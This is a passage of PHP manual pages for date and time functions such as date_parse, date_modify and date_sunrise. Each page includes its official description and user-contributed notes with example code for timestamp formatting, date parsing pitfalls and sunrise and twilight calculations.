    return ($r1-$r2);

}
?>
tom at knapp2meter dot tk 16-Apr-2009 05:06
A simple way to get the time lag (format: <hours>.<one-hundredth of one hour>).

Hier ein einfacher Weg zur Bestimmung der Zeitdifferenz (Format: <Stunden>.<hundertstel Stunde>).

<?php

function GetDeltaTime($dtTime1, $dtTime2)
{
  $nUXDate1 = strtotime($dtTime1->format("Y-m-d H:i:s"));
  $nUXDate2 = strtotime($dtTime2->format("Y-m-d H:i:s"));

  $nUXDelta = $nUXDate1 - $nUXDate2;
  $strDeltaTime = "" . $nUXDelta/60/60; // sec -> hour

  $nPos = strpos($strDeltaTime, ".");
  if (nPos !== false)
    $strDeltaTime = substr($strDeltaTime, 0, $nPos + 3);

  return $strDeltaTime;
}

?>


Alias of DateTime::format

  • « date_diff
  • date_get_last_errors »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTime::format

date_format

(PHP 5 >= 5.2.0)

date_format — Alias of DateTime::format()

Description

This function is an alias of: DateTime::format()

User Contributed Notes

Andrew Gregory 22-Jul-2009 12:52
Requirements: PHP5+

To expand on Matt Walsh's example, a simple way to get eBay, or Amazon, web service timestamps is as follows:

<?php

$current_time = urlEncode(subStr(date("c"), 0, 19)."Z");

?>

In other words, take the date/time of now (in ISO 8601 format), discard the trailing Daylight Savings Time specifier, add a "Z" where the DST was and urlEncode the whole thing to convert the time's colons for REST requests (required for amazon, not sure about eBay).

Another way might be to create your own timestamp:

<?php

$current_time = urlEncode(date("Y-m-d")."T".date("H:i:s")."Z");

?>

This way however takes a little more coding on the line.

As far as performance goes, I'm not sure which may be quicker. I just like things to work and work well, don't much care for how fast they are as long as they get the job done :)

A much simpler way to get the eBay, or Amazon, web service timestamp is as follows:

<?php

$current_date = gmDate("Y-m-d\TH:i:s\Z");

?>

Enjoy!
Mike C 07-Jul-2008 07:23
If you are studying date_format because you want to format a date, consider the power of date(..) !!!!

the mktime article has an example of adding days to a date of your choice and then formatting it:
echo date("M-d-Y", mktime(0, 0, 0, 12, 32, 1997))
where the 32 is like adding 1 day to the 31st .
Matt Walsh 04-May-2007 07:43
The ISO8601 output format doesn't jive with (at least) what eBay expects in its SOAP transactions.  eBay wants a UTC time with a 'Z' suffix.   That is, eBay (and I'm guessing other web services) will accept "2007-05-04T17:01:17Z" but not "2007-05-04T17:01:17+0000".  As it is, the built-in DateTime::ISO8601 format uses the +0000 timezone specifier even when in a UTC timezone.

As a workaround, I do this:

<?php
   function get_ebay_UTC_8601(DateTime $time)
   {  $t = clone $time;
      $t->setTimezone(new DateTimeZone("UTC"));
      return $t->format("Y-m-d\TH:i:s\Z");
   }
?>


Alias of DateTime::getLastErrors

  • « date_format
  • date_interval_create_from_date_string »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTime::getLastErrors

date_get_last_errors

(PHP 5 >= 5.3.0)

date_get_last_errors — Alias of DateTime::getLastErrors()

Description

This function is an alias of: DateTime::getLastErrors()

User Contributed Notes

There are no user contributed notes for this page.


Alias of DateInterval::createFromDateString

  • « date_get_last_errors
  • date_interval_format »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateInterval::createFromDateString

date_interval_create_from_date_string

(PHP 5 >= 5.3.0)

date_interval_create_from_date_string — Alias of DateInterval::createFromDateString()

Description

This function is an alias of: DateInterval::createFromDateString()

User Contributed Notes

There are no user contributed notes for this page.


Alias of DateInterval::format

  • « date_interval_create_from_date_string
  • date_isodate_set »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateInterval::format

date_interval_format

(PHP 5 >= 5.3.0)

date_interval_format — Alias of DateInterval::format()

Description

This function is an alias of: DateInterval::format()

User Contributed Notes

There are no user contributed notes for this page.


Alias of DateTime::setISODate

  • « date_interval_format
  • date_modify »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTime::setISODate

date_isodate_set

(PHP 5 >= 5.2.0)

date_isodate_set — Alias of DateTime::setISODate()

Description

This function is an alias of: DateTime::setISODate()

User Contributed Notes

There are no user contributed notes for this page.


Alias of DateTime::modify

  • « date_isodate_set
  • date_offset_get »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTime::modify

date_modify

(PHP 5 >= 5.2.0)

date_modify — Alias of DateTime::modify()

Description

This function is an alias of: DateTime::modify()

User Contributed Notes

ochojnackiATEMEgmail.com 14-Aug-2008 02:49
$cday - specified day of the week (0-6 where 0 is Sunday)
$currentDate - date of start
$endDate - date of end

We need dates of next couple of days, that day of week  match defined.

<?php

            if($currentDate->format('w')!= $cday){
            switch ($cday){
            case 0 : $cdays="Sunday"; break;
            case 1 : $cdays="Monday"; break;
            case 2 : $cdays="Tuesday"; break;
            case 3 : $cdays="Wednesday"; break;
            case 4 : $cdays="Thursday"; break;
            case 5 : $cdays="Friday"; break;
            case 6 : $cdays="Saturday";
            }
            date_modify($currentDate,"+1 {$cdays}");
            }

            while($currentDate < $endDate) {
              echo $currentDate -> format('Y-m-d H:i:s');
              $currentDate      -> modify('+1 week');
            }

?>
matthijs at yourmediafactory dot com 08-Dec-2007 01:38
I have trouble finding the documentation for the dateTime object, but this seems to work:

<?php
$currentDate = new DateTime('2008-01-04');
$endDate     = new DateTime('2009-01-04');

while($currentDate < $endDate) {
  echo $currentDate -> format('Y-m-d') . ' till ';
  $currentDate      -> modify('+1 week');
  echo $currentDate -> format('Y-m-d') . ' <br />';
}
?>

This will (obviously) print a list of date-ranges between startdate and enddate.
someone 15-Sep-2007 08:46
I decided to enhance the DateTime object by taking advantage of method chaining.

<?php

class DateTimeChain extends DateTime {

    public function modify ($modify) {
        parent::modify($modify);
        return $this;
    }

    public function setDate ($year, $month, $day) {
        parent::setDate($year, $month, $day);
        return $this;
    }

    public function setISODate ($year, $week, $day = null) {
        parent:: setISODate($year, $week, $day);
        return $this;
    }

    public function setTime ($hour, $minute, $second = null) {
        parent::setTime($hour, $minute, $second);
        return $this;
    }

    public function setTimezone ($timezone) {
        parent::setTimezone($timezone);
        return $this;
    }

}

$t = new DateTimeZone('America/Los_Angeles');
$d = new DateTimeChain();
var_dump($d->setTimezone($t)->modify('5years')->format(DATE_RFC822));

?>


Alias of DateTime::getOffset

  • « date_modify
  • date_parse_from_format »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTime::getOffset

date_offset_get

(PHP 5 >= 5.2.0)

date_offset_get — Alias of DateTime::getOffset()

Description

This function is an alias of: DateTime::getOffset()

User Contributed Notes

Kae Cyphet 11-Oct-2010 11:43
The following gets the timezone of the server including daylight savings time changes.

<?php
$seconds = date_offset_get(new DateTime);
print $seconds / 3600;
// returns pos/neg decimal (eg. -7 if in PST and DST is active.)
// remember there are time zones with 30 and 45 min offsets
// http://en.wikipedia.org/wiki/Time_zone
?>


Get info about given date formatted according to the specified format

  • « date_offset_get
  • date_parse »
  • PHP Manual
  • Date/Time Functions
  • Get info about given date formatted according to the specified format

date_parse_from_format

(PHP 5 >= 5.3.0)

date_parse_from_format — Get info about given date formatted according to the specified format

Description

array date_parse_from_format ( string $format , string $date )

Returns associative array with detailed info about given date.

Parameters

format

Format accepted by DateTime::createFromFormat().

date

String representing the date.

Return Values

Returns associative array with detailed info about given date.

Examples

Example #1 date_parse_from_format() example

<?php
$date = "6.1.2009 13:00+01:00";
print_r(date_parse_from_format("j.n.Y H:iP", $date));
?>

The above example will output:

Array
(
    [year] => 2009
    [month] => 1
    [day] => 6
    [hour] => 13
    [minute] => 0
    [second] => 0
    [fraction] =>
    [warning_count] => 0
    [warnings] => Array
        (
        )

    [error_count] => 0
    [errors] => Array
        (
        )

    [is_localtime] => 1
    [zone_type] => 1
    [zone] => -60
    [is_dst] =>
)

See Also

  • DateTime::createFromFormat() - Returns new DateTime object formatted according to the specified format
  • checkdate() - Validate a Gregorian date

User Contributed Notes

Archetrix 08-Sep-2014 05:18
For use in Versions prior V5.3:

<?php
if (!function_exists('date_parse_from_format')) {

    function date_parse_from_format($format, $date) {
        // reverse engineer date formats
        $keys = array(
            'Y' => array('year', '\d{4}'),
            'y' => array('year', '\d{2}'),
            'm' => array('month', '\d{2}'),
            'n' => array('month', '\d{1,2}'),
            'M' => array('month', '[A-Z][a-z]{3}'),
            'F' => array('month', '[A-Z][a-z]{2,8}'),
            'd' => array('day', '\d{2}'),
            'j' => array('day', '\d{1,2}'),
            'D' => array('day', '[A-Z][a-z]{2}'),
            'l' => array('day', '[A-Z][a-z]{6,9}'),
            'u' => array('hour', '\d{1,6}'),
            'h' => array('hour', '\d{2}'),
            'H' => array('hour', '\d{2}'),
            'g' => array('hour', '\d{1,2}'),
            'G' => array('hour', '\d{1,2}'),
            'i' => array('minute', '\d{2}'),
            's' => array('second', '\d{2}')
        );

        // convert format string to regex
        $regex = '';
        $chars = str_split($format);
        foreach ($chars AS $n => $char) {
            $lastChar = isset($chars[$n - 1]) ? $chars[$n - 1] : '';
            $skipCurrent = '\\' == $lastChar;
            if (!$skipCurrent && isset($keys[$char])) {
                $regex .= '(?P<' . $keys[$char][0] . '>' . $keys[$char][1] . ')';
            } else if ('\\' == $char) {
                $regex .= $char;
            } else {
                $regex .= preg_quote($char);
            }
        }

        $dt = array();
        $dt['error_count'] = 0;
        // now try to match it
        if (preg_match('#^' . $regex . '$#', $date, $dt)) {
            foreach ($dt AS $k => $v) {
                if (is_int($k)) {
                    unset($dt[$k]);
                }
            }
            if (!checkdate($dt['month'], $dt['day'], $dt['year'])) {
                $dt['error_count'] = 1;
            }
        } else {
            $dt['error_count'] = 1;
        }
        $dt['errors'] = array();
        $dt['fraction'] = '';
        $dt['warning_count'] = 0;
        $dt['warnings'] = array();
        $dt['is_localtime'] = 0;
        $dt['zone_type'] = 0;
        $dt['zone'] = 0;
        $dt['is_dst'] = '';
        return $dt;
    }

}
?>

Not my invention though. I found it here: http://stackoverflow.com/questions/6668223/php-date-parse-from-format-alternative-in-php-5-2

Thought this might be a good place to keep a copy in case someone stumbles upon the same problem facing outdated PHP versions on customer servers ....


Returns associative array with detailed info about given date

  • « date_parse_from_format
  • date_sub »
  • PHP Manual
  • Date/Time Functions
  • Returns associative array with detailed info about given date

date_parse

(PHP 5 >= 5.2.0)

date_parse — Returns associative array with detailed info about given date

Description

array date_parse ( string $date )

Parameters

date

Date in format accepted by strtotime().

Return Values

Returns array with information about the parsed date on success or FALSE on failure.

Errors/Exceptions

In case the date format has an error, the element 'errors' will contains the error messages.

Examples

Example #1 A date_parse() example

<?php
print_r(date_parse("2006-12-12 10:00:00.5"));
?>

The above example will output:

Array
(
    [year] => 2006
    [month] => 12
    [day] => 12
    [hour] => 10
    [minute] => 0
    [second] => 0
    [fraction] => 0.5
    [warning_count] => 0
    [warnings] => Array()
    [error_count] => 0
    [errors] => Array()
    [is_localtime] =>
)

See Also

  • checkdate() - Validate a Gregorian date
  • getdate() - Get date/time information

User Contributed Notes

adamm at extratech dot com 04-Jul-2012 02:24
A warning to some
<?php
$time = "00:14:38"
$parse_date = date_parse($time);
echo var_dump($parse_date) ."<br>";
//here you will get what you expect

$time = "-00:14:38"
$parse_date = date_parse($time);
echo var_dump($parse_date) ."<br>";
//here you will recieve hours minutes and seconds as booleans and as false and you will get error set to "Unexpected character"

$time = "00:-14:38"
$parse_date = date_parse($time);
echo var_dump($parse_date) ."<br>";
//here you will recieve the same as the above

$time = "00:14:-38"
$parse_date = date_parse($time);
echo var_dump($parse_date) ."<br>";
//here you will receive hours as 00 minutes as 14 and seconds as 0. The error will get set as the same as above. Meaning "Unexpected character"
?>
ryan_a_martin at yahoo dot com 02-Mar-2011 03:56
See checkdate() at http://php.net/manual/en/function.checkdate.php for Gregorian date validation.
alvaro at demogracia dot com 15-Feb-2011 12:59
Be aware that date_parse() is happy with just a time zone and it can be pretty counter-intuitive. E.g.:

<?php
var_dump( date_parse('Europe/Madrid') );
?>

... prints an array where year, month, day... are FALSE. But so do these:

<?php
var_dump( date_parse('A') );
var_dump( date_parse('B') );
var_dump( date_parse('X') );
?>

Don't forget to further validate date_parse()'s output even when it isn't FALSE and the 'errors' key is empty.
admin at torntech dot com 22-Sep-2010 05:18
A warning to others. Some keys will return with a default value where others will return as false if the date string has it omitted. Unsure if this is a bug or feature, but hopefully this will save someone some time.
<?php
///Example
$input = "Feb 2010";
$info = date_parse($input);
var_dump($info);

/*Returns:
array(12) {
    ["year"]=> int(2010)
    ["month"]=> int(2)
    ["day"]=> int(1)    //<---expected false like below
    ["hour"]=> bool(false)
    ["minute"]=> bool(false)
    ["second"]=> bool(false)
    ["fraction"]=> bool(false)
    ["warning_count"]=> int(0)
    ["warnings"]=> array(0) { }
    ["error_count"]=> int(0)
    ["errors"]=> array(0) { }
    ["is_localtime"]=> bool(false)
}*/
?>
eugene at ultimatecms dot co dot za 23-Nov-2009 11:43
<?php

$ida = '091122671325';
$idb = '091123671325';

// This function will match the identity number up to the day, but only for a maximum of 99years+364days.
// Will not work when checking persons older than 100years-1day.

function idtodate($id)
{
        $year = date("Y");
        $month = date("m");
        $day = date("d");

        $nc = substr($year, 0, 2);
        $ny = substr($year, 2, 2);

        $y = substr($id, 0, 2);
        $m = substr($id, 2, 2);
        $d = substr($id, 4, 2);

        if($y.$m.$d <= $ny.$month.$day-1) {
                $newc = $nc;
        } else {
                $newc = $nc-1;
        }

        $new = $newc.$y;

        return array('year' => $new, 'month' => $m, 'day' => $d);
}

echo 'ID: '.$ida.'<br>';
print_r(idtodate($ida));

echo '<br><br>';

echo 'ID: '.$idb.'<br>';
print_r(idtodate($idb));

?>

Output:
1. If the year-month-day is smaller than today (2009-11-23), but bigger than 1999: year => 2009
ID: 091122671325
Array ( [year] => 2009 [month] => 11 [day] => 22 )

2. If the year-month-day is the same as, or bigger than today, but smaller than 2000: year => 1909
ID: 091123671325
Array ( [year] => 1909 [month] => 11 [day] => 23 )
alan at wilcoxengineering dot com 14-Aug-2009 08:02
Caution: date_parse expects months 1..12 only.

date_parse("13/1/5769")  for  month=13, Ehul in Jewish calendar, results in  month==3 instead of month==13.

It does, however, report the error array showing "Unexpected Character."

It would be nice if date_parse could handle the months properly (just report back a "13" for the month). The older approach of substr() is my workaround.
gpayne at galenaparkisd com 30-Sep-2007 01:52
Careful - date_parse is perfectly happy with something like this:

 date_parse("2006-2-31");


Alias of DateTime::sub

  • « date_parse
  • date_sun_info »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTime::sub

date_sub

(PHP 5 >= 5.3.0)

date_sub — Alias of DateTime::sub()

Description

This function is an alias of: DateTime::sub()

User Contributed Notes

Jonathan Poissant 21-Jan-2011 04:26
You cannot replace date_sub('2000-01-20') by DateTime::sub('2000-01-20') because DateTime::sub is not static. You have to create the DateTime object first.

Example:

<?php $dateA = date_sub('2000-01-20', date_interval_create_from_date_string('10 days')); ?>

will be replace by
<?php
$dateB = new DateTime('2000-01-20');
$dateA = $dateB->sub(date_interval_create_from_date_string('10 days'));
?>


Returns an array with information about sunset/sunrise and twilight begin/end

  • « date_sub
  • date_sunrise »
  • PHP Manual
  • Date/Time Functions
  • Returns an array with information about sunset/sunrise and twilight begin/end

date_sun_info

(PHP 5 >= 5.1.2)

date_sun_info — Returns an array with information about sunset/sunrise and twilight begin/end

Description

array date_sun_info ( int $time , float $latitude , float $longitude )

Parameters

time

Timestamp.

latitude

Latitude in degrees.

longitude

Longitude in degrees.

Return Values

Returns array on success or FALSE on failure.

Examples

Example #1 A date_sun_info() example

<?php
$sun_info = date_sun_info(strtotime("2006-12-12"), 31.7667, 35.2333);
foreach ($sun_info as $key => $val) {
    echo "$key: " . date("H:i:s", $val) . "\n";
}
?>

The above example will output:

sunrise: 05:52:11
sunset: 15:41:21
transit: 10:46:46
civil_twilight_begin: 05:24:08
civil_twilight_end: 16:09:24
nautical_twilight_begin: 04:52:25
nautical_twilight_end: 16:41:06
astronomical_twilight_begin: 04:21:32
astronomical_twilight_end: 17:12:00

See Also

  • date_sunrise() - Returns time of sunrise for a given day and location
  • date_sunset() - Returns time of sunset for a given day and location

User Contributed Notes

la_grief at hotmail dot com 16-Feb-2013 05:12
While the bug has been fixed in future versions, be aware that in some PHP versions around 5.1-5.2 have a situation where the latitude and longitude are read in reverse. This will cause the output to be for a completely different location on Earth.

array date_sun_info ( int $time , float $latitude , float $longitude )
wrongly becomes
array date_sun_info ( int $time , float $longitude, float $latitude)

Make sure you do a double check before deploying this function to a live state, and verify against date_sunrise() or date_sunset() that you don't have to put the location's real longitude in the function's latitude parameter and vice versa.

Just to reiterate, THIS HAS BEEN FIXED! But in some versions of PHP that may be out there on shared hosting solutions, you may be getting odd results, and this will most likely be the reason. I hope this helps others that are searching for a solution quickly.
ELY M. 08-Oct-2010 06:42
I have been working on my own php script to get current down or up for sun and moon.   I had to add function for any places that have 24 hour sun.

here is my code for places with 24 hour sun.

<?php
   if ($sunrise == 0 && $sunset == 0) {
   $sunrise24 = "";
   $sunset24 = "";
   //run suninfo
   $sunup = date_sun_info(strtotime($year."-".$month."-".$day), $lat, $lon);
   }

//check if sun is up all day.
if ($sunup[sunrise] == 1 && $sunup[sunrise] == 1) {
imagecopy($sky, $sun, 60, 20, 0, 0, $sun_width, $sun_height);
imagefill($sky, 0, 0, $bluesky);
}
?>
mother at localsnow dot com 23-Jun-2010 11:55
We needed the length of the day, both sunrise to sunset and twilight to twilight for particular latitudes. Sun_info() is just the thing. We mistakenly thought 'transit' was this value, which it is not. Transit is the time of day the sun is at its zenith. To get length of day, one must perform math on the results of sun_info().

When doing math with time values, don't expect date() to do the conversion to hours:minutes:seconds. date() thinks the passed value is a time since the epoch. You will need to do your own conversion to hours:minutes:seconds, using something like the following:
<?php
function hms($val) {
// convert seconds to hours:minutes:seconds
$v=$val;
$h=intval($v/3600);
$v-=($h*3600); // subtract hours
$m=intval($v/60);
$v-=($m*60); // subtract minutes
$s=$v % 60; // seconds remaining
if ($h<10) {$h="0".$h;}
if ($m<10) {$m="0".$m;}
if ($s<10) {$s="0".$s;}
return $h.":".$m.":".$s;
}
?>

Regarding date_sunrise() and date_sunset(), these both return values without seconds and without correction for Daylight time. Whereas sun_info() handles seconds as well as Daylight time. It even handles dates prior to the epoch correctly as negative timestamps, at least as of php 5.2.12

For example,
sun_info(strtotime('July 4, 1776'),47.3506,-122.6417)
produces something like the following when using date_default_timezone_set('America/Los_Angeles') and
date("H:i:s", $val)

sunrise: 04:20:26 [-6106016374]
sunset: 20:09:03 [-6105959457]
transit: 12:14:45 [-6105987915]
civil_twilight_begin: 03:40:54 [-6106018746]
civil_twilight_end: 20:48:35 [-6105957085]
nautical_twilight_begin: 02:46:58 [-6106021982]
nautical_twilight_end: 21:42:31 [-6105953849]
astronomical_twilight_begin: 01:28:06 [-6106026714]
astronomical_twilight_end: 23:01:23 [-6105949117]

* * *
glenbo (_AT_) mac (_DOT_) com 17-Jun-2008 09:54
It should be noted that for extreme geographical locations date_sun_info() might return unexpected values. Values of 1 or empty may be returned. If you are expecting a unix timestamp this will default to the epoch, or epoch+1, which is not what you would expect.

After researching official almanac records for these locations it appears likely that for sunrise and sunset return values of 1 relate to a situation where the sun is above the horizon for the entire 24 hour day. It is also possible that empty return values relate to a situation where the sun is below the horizon for the entire 24 hour day. In the case of twilight data a 1 probably means that the sun never dips below that zenith, and an empty value means the sun never rises above said zenith for that given day.

The following code exhibits unique dates from the northernmost city Ny-Ålesund, Svalbard, and the southernmost city McMurdo Research Station, Antarctica.

<?php

$northernmost_city_latitude = 78.92;   // Ny-Ålesund, Svalbard
$northernmost_city_longitude = 11.93;
$southernmost_city_latitude = -77.88;  // McMurdo Research Station, Antarctica
$southernmost_city_longitude = 166.73;

print_r( date_sun_info( strtotime("2008-01-01") , $northernmost_city_latitude, $northernmost_city_longitude) );
print_r( date_sun_info( strtotime("2008-04-01") , $northernmost_city_latitude, $northernmost_city_longitude) );
print_r( date_sun_info( strtotime("2008-01-01") , $southernmost_city_latitude, $southernmost_city_longitude) );
print_r( date_sun_info( strtotime("2008-06-01") , $southernmost_city_latitude, $southernmost_city_longitude) );

?>

This will return the following. Observe that sometimes a value of 1 or empty is returned.

Array
(
    [sunrise] =>
    [sunset] =>
    [transit] => 1199186158
    [civil_twilight_begin] =>
    [civil_twilight_end] =>
    [nautical_twilight_begin] => 1199184075
    [nautical_twilight_end] => 1199188241
    [astronomical_twilight_begin] => 1199170475
    [astronomical_twilight_end] => 1199201840
)
Array
(
    [sunrise] => 1207019232
    [sunset] => 1207077865
    [transit] => 1207048548
    [civil_twilight_begin] => 1
    [civil_twilight_end] => 1
    [nautical_twilight_begin] => 1
    [nautical_twilight_end] => 1
    [astronomical_twilight_begin] => 1
    [astronomical_twilight_end] => 1
)
Array
(
    [sunrise] => 1
    [sunset] => 1
    [transit] => 1199148994
    [civil_twilight_begin] => 1
    [civil_twilight_end] => 1
    [nautical_twilight_begin] => 1
    [nautical_twilight_end] => 1
    [astronomical_twilight_begin] => 1
    [astronomical_twilight_end] => 1
)
Array
(
    [sunrise] =>
    [sunset] =>
    [transit] => 1212281461
    [civil_twilight_begin] =>
    [civil_twilight_end] =>
    [nautical_twilight_begin] => 1212273312
    [nautical_twilight_end] => 1212289609
    [astronomical_twilight_begin] => 1212264187
    [astronomical_twilight_end] => 1212298734
)


Returns time of sunrise for a given day and location

  • « date_sun_info
  • date_sunset »
  • PHP Manual
  • Date/Time Functions
  • Returns time of sunrise for a given day and location

date_sunrise

(PHP 5)

date_sunrise — Returns time of sunrise for a given day and location

Description

mixed date_sunrise ( int $timestamp [, int $format = SUNFUNCS_RET_STRING [, float $latitude = ini_get("date.default_latitude") [, float $longitude = ini_get("date.default_longitude") [, float $zenith = ini_get("date.sunrise_zenith") [, float $gmt_offset = 0 ]]]]] )

date_sunrise() returns the sunrise time for a given day (specified as a timestamp) and location.

Parameters

timestamp

The timestamp of the day from which the sunrise time is taken.

format

format constants
constant | description | example
SUNFUNCS_RET_STRING | returns the result as string | 16:46
SUNFUNCS_RET_DOUBLE | returns the result as float | 16.78243132
SUNFUNCS_RET_TIMESTAMP | returns the result as integer (timestamp) | 1095034606

latitude

Defaults to North, pass in a negative value for South. See also: date.default_latitude

longitude

Defaults to East, pass in a negative value for West. See also: date.default_longitude

zenith

Default: date.sunrise_zenith

gmtoffset

Specified in hours.

Return Values

Returns the sunrise time in a specified format on success or FALSE on failure.

Errors/Exceptions

Every call to a date/time function will generate a E_NOTICE if the time zone is not valid, and/or a E_STRICT or E_WARNING message if using the system settings or the TZ environment variable. See also date_default_timezone_set()

Changelog

Version | Description
5.1.0 | Now issues the E_STRICT and E_NOTICE time zone errors.

Examples

Example #1 date_sunrise() example

<?php

/* calculate the sunrise time for Lisbon, Portugal
Latitude: 38.4 North
Longitude: 9 West
Zenith ~= 90
offset: +1 GMT
*/

echo date("D M d Y"). ', sunrise time : ' .date_sunrise(time(), SUNFUNCS_RET_STRING, 38.4, -9, 90, 1);

?>

The above example will output something similar to:

Mon Dec 20 2004, sunrise time : 08:54

See Also

  • date_sunset() - Returns time of sunset for a given day and location

User Contributed Notes

Anonymous 22-Apr-2014 06:56
Don't forget that inside the arctic and antarctic circles the sun never sets/rises for part of the year so this function legitimately returns false!
scottix at gmail dot com 04-Dec-2013 09:46
If you are working in multiple timezones getting the offset from a date is a little tricky because you need it in hours.

<?php

$time = new DateTime('now', new DateTimeZone('America/Los_Angeles'));

date_sunrise(
 $time->getTimestamp(),
 SUNFUNCS_RET_TIMESTAMP,
 38.4,
 -9,
 90,
 $time->getOffset() / 3600
);
jonathanNO dot kuhnSPAM at gmailNOSPAM dot com 29-Mar-2010 08:14
After some searching, I finally found a website that can calculate the sun's zenith. Just look up your city's lat/long (remember, west/south are negative even if it doesn't show where you look up the lat/long) and the time of sunrise/sunset and use this site:

http://solardat.uoregon.edu/cgi-bin/SolarPositionCalculator.cgi

You have to enter in the sunrise/sunset times separately, but it works.
San Diego is:
 Lat: 32.73
 Long: -117.17
 Sunrise Z.: 90.7379
 Sunset Z.: 90.8880
fingers at 4tfingers dot info 26-Apr-2008 05:47
Just for those that are as stupid as me
for the settings in php.ini and sunrise/sunset after googling for a while if found this info

;`Zenith' is the angle that the centre of the Sun makes to a line perpendicular to the Earth's surface.
;
; The best Overall figure for zenith is 90+(50/60) degrees for true sunrise/sunset
; Civil twilight 96 degrees - Conventionally used to signify twilight
; Nautical twilight 102 degrees - the point at which the horizon stops being visible at sea.
; Astronical twilight at 108 degrees - the point when Sun stops being a source of any illumination.
;
;date.sunrise_zenith = 90.583333  85.4
;date.sunset_zenith = 90.583333   85.4
djwice at [the same] dot com 02-Dec-2004 10:41
The way to use this:

<?php

// De Bilt, The Netherlands, weather station #06260
$lat = 52.10;    // North
$long = 5.18;    // East
$offset = 1;    // difference between GMT and local time in hours

$zenith=90+50/60;
echo "<br><p>Sunrise: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>Sunset: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

$zenith=96;
echo "<br><p>Civilian Twilight start: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>Civilian Twilight end: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

$zenith=102;
echo "<br><p>Nautical Twilight start: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>Nautical Twilight end: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

$zenith=108;
echo "<br><p>Astronomical Twilight start: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>Astronomical Twilight end: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

?>

Zenith according to the U.S. Navy's 1990 Almanac for Computers.

Thanks to George King.
More sources about this topic:

http://www.qarlos.free.fr/navegacion/Sextante/formulas.htm
http://williams.best.vwh.net/sunrise_sunset_algorithm.htm
http://www.kevinboone.com/suntimes.html
http://star-www.st-and.ac.uk/~fv/webnotes/chapt12.htm


Returns time of sunset for a given day and location

  • « date_sunrise
  • date_time_set »
  • PHP Manual
  • Date/Time Functions
  • Returns time of sunset for a given day and location

date_sunset

(PHP 5)

date_sunset — Returns time of sunset for a given day and location

Description

mixed date_sunset ( int $timestamp [, int $format = SUNFUNCS_RET_STRING [, float $latitude = ini_get("date.default_latitude") [, float $longitude = ini_get("date.default_longitude") [, float $zenith = ini_get("date.sunset_zenith") [, float $gmt_offset = 0 ]]]]] )

date_sunset() returns the sunset time for a given day (specified as a timestamp) and location.

Parameters

timestamp

The timestamp of the day from which the sunset time is taken.

format

format constants
constant | description | example
SUNFUNCS_RET_STRING | returns the result as string | 16:46
SUNFUNCS_RET_DOUBLE | returns the result as float | 16.78243132
SUNFUNCS_RET_TIMESTAMP | returns the result as integer (timestamp) | 1095034606

latitude

Defaults to North, pass in a negative value for South. See also: date.default_latitude

longitude

Defaults to East, pass in a negative value for West. See also: date.default_longitude

zenith

Default: date.sunset_zenith

gmtoffset

Specified in hours.

Errors/Exceptions

Every call to a date/time function will generate a E_NOTICE if the time zone is not valid, and/or a E_STRICT or E_WARNING message if using the system settings or the TZ environment variable. See also date_default_timezone_set()

Changelog

Version | Description
5.1.0 | Now issues the E_STRICT and E_NOTICE time zone errors.

Return Values

Returns the sunset time in a specified format on success or FALSE on failure.

Examples

Example #1 date_sunset() example

<?php

/* calculate the sunset time for Lisbon, Portugal
Latitude: 38.4 North
Longitude: 9 West
Zenith ~= 90
offset: +1 GMT
*/

echo date("D M d Y"). ', sunset time : ' .date_sunset(time(), SUNFUNCS_RET_STRING, 38.4, -9, 90, 1);

?>

The above example will output something similar to:

Mon Dec 20 2004, sunset time : 18:13

See Also

  • date_sunrise() - Returns time of sunrise for a given day and location

User Contributed Notes

michael at dayah dot com 30-Sep-2006 02:17
I use an IP to location database to determine the visitor's approximate latitude and longitude and then serve them a day or night color scheme based on whether it is before civil dawn or dusk. I've had problems when not specifying the timezone, specifically a 1 hour error, so I use GMT.

<?php
date_default_timezone_set("GMT");

function scheme() {
        $sunrise = date_sunrise(time(), SUNFUNCS_RET_DOUBLE, $latitude, $longitude, 96, 0);
        $sunset = date_sunset(time(), SUNFUNCS_RET_DOUBLE, $latitude, $longitude, 96, 0);
        $now = date("H") + date("i") / 60 + date("s") / 3600;

        if ($sunrise < $sunset)
                if (($now > $sunrise) && ($now < $sunset)) return "day";
                else return "night";
        else
                if (($now > $sunrise) || ($now < $sunset)) return "day";
                else return "night";
}
?>


Alias of DateTime::setTime

  • « date_sunset
  • date_timestamp_get »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTime::setTime

date_time_set

(PHP 5 >= 5.2.0)

date_time_set — Alias of DateTime::setTime()

Description

This function is an alias of: DateTime::setTime()

User Contributed Notes

There are no user contributed notes for this page.


Alias of DateTime::getTimestamp

  • « date_time_set
  • date_timestamp_set »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTime::getTimestamp

date_timestamp_get

(PHP 5 >= 5.3.0)

date_timestamp_get — Alias of DateTime::getTimestamp()

Description

This function is an alias of: DateTime::getTimestamp()

User Contributed Notes

There are no user contributed notes for this page.


Alias of DateTime::setTimestamp

  • « date_timestamp_get
  • date_timezone_get »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTime::setTimestamp

date_timestamp_set

(PHP 5 >= 5.3.0)

date_timestamp_set — Alias of DateTime::setTimestamp()

Description

This function is an alias of: DateTime::setTimestamp()

User Contributed Notes

prt dot ed48 dot com 30-Jun-2013 10:52
Example 01:

<?php

date_default_timezone_set("UTC");

$dftz011 = date_default_timezone_get();

echo '<br><b>' . $dftz011 . '</b><br><br>';

$dtms011 = new DateTime();

$dtms011->setTimestamp(1234567890);

